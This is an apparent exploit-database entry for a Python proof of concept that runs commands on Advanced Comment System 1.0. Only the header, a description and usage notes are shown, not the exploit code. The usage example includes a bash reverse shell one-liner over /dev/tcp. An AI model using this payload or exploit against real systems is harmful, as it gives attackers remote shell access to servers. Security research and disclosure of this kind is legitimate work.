ID: 104997
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: November 30, 2021
# Exploit Author: Nicole Daniella Murillo Mejias
# Version: Advanced Comment System 1.0
# Tested on: Linux

#!/usr/bin/env python3

# DESCRIPTION:
# Commands are Base64 encoded and sent via POST requests to the vulnerable application, the
# response is filtered by the randomly generated alphanumeric string and only command output
# is displayed.
#
# USAGE:
# Execute the script and pass the command to execute as arguments, they can be quoted or unquoted
# If any special characters are used, they should be quoted with single quotes.
#
# Example:
#
#    python3 acspoc.py uname -a
#    python3 acspoc.py 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
